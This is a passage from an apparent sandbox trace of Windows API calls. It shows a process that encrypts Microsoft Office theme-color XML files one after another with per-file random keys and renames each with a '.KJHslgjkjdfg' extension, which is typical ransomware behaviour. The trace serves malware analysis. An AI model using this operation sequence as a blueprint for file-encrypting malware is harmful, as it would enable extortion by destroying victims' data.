Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.471] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.471] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.637] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.637] GetProcessHeap () returned 0x2a0000 [0198.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.637] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.637] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.637] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.637] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.637] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.638] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.638] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.638] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.638] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.638] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.638] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.638] SetEndOfFile (hFile=0xf0) returned 1 [0198.641] GetProcessHeap () returned 0x2a0000 [0198.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.641] GetProcessHeap () returned 0x2a0000 [0198.642] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.kjhslgjkjdfg")) returned 1 [0198.644] CloseHandle (hObject=0xf0) returned 1 [0198.644] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0198.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.679] GetProcessHeap () returned 0x2a0000 [0198.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.679] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.680] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0198.696] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.696] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.696] GetProcessHeap () returned 0x2a0000 [0198.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.697] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.697] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.697] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.697] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.697] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.697] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c2, lpOverlapped=0x0) returned 1 [0198.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.698] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.698] SetEndOfFile (hFile=0xf0) returned 1 [0198.700] GetProcessHeap () returned 0x2a0000 [0198.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.700] GetProcessHeap () returned 0x2a0000 [0198.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.kjhslgjkjdfg")) returned 1 [0198.702] CloseHandle (hObject=0xf0) returned 1 [0198.702] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0198.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.703] GetProcessHeap () returned 0x2a0000 [0198.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.704] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.704] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.706] GetProcessHeap () returned 0x2a0000 [0198.706] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.706] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.706] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.706] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] SetEndOfFile (hFile=0xf0) returned 1 [0198.709] GetProcessHeap () returned 0x2a0000 [0198.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.709] GetProcessHeap () returned 0x2a0000 [0198.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.kjhslgjkjdfg")) returned 1 [0198.711] CloseHandle (hObject=0xf0) returned 1 [0198.711] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0198.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.712] GetProcessHeap () returned 0x2a0000 [0198.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.712] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.712] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0198.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.746] GetProcessHeap () returned 0x2a0000 [0198.746] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.746] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.746] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.746] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.746] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.746] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.746] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.746] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0198.747] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.747] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.747] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.747] SetEndOfFile (hFile=0xf0) returned 1 [0198.749] GetProcessHeap () returned 0x2a0000 [0198.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.749] GetProcessHeap () returned 0x2a0000 [0198.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.kjhslgjkjdfg")) returned 1 [0198.752] CloseHandle (hObject=0xf0) returned 1 [0198.753] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0198.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.754] GetProcessHeap () returned 0x2a0000 [0198.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.754] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.754] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.754] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.754] GetProcessHeap () returned 0x2a0000 [0198.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.754] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.754] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.754] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.757] WriteFile (in: hFile=0xf0, 